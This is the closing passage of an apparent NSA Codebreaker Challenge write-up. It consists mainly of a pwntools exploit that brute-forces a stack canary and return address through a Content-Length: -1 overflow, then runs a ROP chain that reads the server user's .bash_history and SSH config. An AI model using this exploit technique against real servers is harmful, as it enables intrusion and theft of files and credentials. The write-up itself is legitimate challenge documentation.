		p.send("Content-Length: -1\r\n\r\n")
		p.send("A" * 4095)
		time.sleep(0.3)
		payload = "B" * 9 + canary + "B" * 16 + rbp + rip + p8(j)
		p.send(payload)
		time.sleep(0.3)
		p.close()

		out = s.process(["tail", "-n", "1", "/home/psuser/ps_server.log"]).recvall()
		if "status 0" in out:
			rip += p8(j)
			print("rip", rip)			
			not_found = False
			break
	if not_found:
		print("RIP Not Found oh my god???")
		for ch in rip:
			print(hex(u8(ch)))
		print("canary", canary)
		print("rbp", rbp)
		exit(0)
	not_found = True

print("canary", hex(u64(canary)))
print("rbp", hex(u64(rbp)))
print("rip", hex(u64(rip)))


#canary = p64(0x5bc55785dce8e000)
#rbp = p64(0x7fff4a0a0080)
#rip = p64(0x7efce736895f)

rip = u64(rip)
base = rip - 0x995f

read = base + 0x56890
open64 = base + 0x56630
write = base + 0x568c0
exit = base + 0x17ce0

target_file = "/home/psuser/.bash_history\x00"

p = remote(host, port)
p.send("Content-Length: -1\r\n\r\n")
p.send("A" * 4095)
time.sleep(1)

elf.address = base

rop = ROP(elf)
#haswell = base + 0xbbd48
rop.call(read, [6, u64(rbp), len(target_file)])
rop.call(open64, [u64(rbp), 0, 0])
rop.call(read, [5, u64(rbp), 1676])
rop.call(write, [6, u64(rbp), 1676])
rop.call(exit, [0])

#print(rop.dump())
payload = "B" * 9 + canary + "C" * 16 + rbp + rop.chain()

p.send(payload)
p.recvuntil("Content-Length")

p.send(target_file)

p.recvuntil(payload)

print(p.recv(120))
print("finish")
p.interactive()
p.close()

For Content-Length, I used -1 because the comparison is unsigned, v2 will still be 4096. It’s OK to use other numbers greater or equal to 4096.

With this ROP chain, I can read /home/psuser/.bash_history.

1
2
3
4
5
6
7
ls -la
date
wc ps_*
less ps_data.log
less ps_server.log
man scp
scp -P 37371 ~/ps_data.log nexthop:

ps_data.log is sent to nexthop with port 37371.

Read /home/psuser/.ssh/config, and we can get the IP of nexthop is 198.18.203.107.

1
2
3
4
Host nexthop
    Hostname: 198.18.203.107
    User: user
    IdentityFile: /home/psuser/.ssh/id_rsa

The answer is 198.18.203.107 with port 37371.

And we can get a “Well done.”

Pic 48

Conclusion

It is my first time playing NSA Codebreaker Challenge. It’s a really great event. I learned a lot from it, especially for creating custom protocols to communicate with the LP. I have never done that kind of thing before.

Also, I’m looking forward to the Medallion for solvers as well 😋 (I’ll post it here when I get it)

I’ll definitely play again next year. Let’s go!! 🔥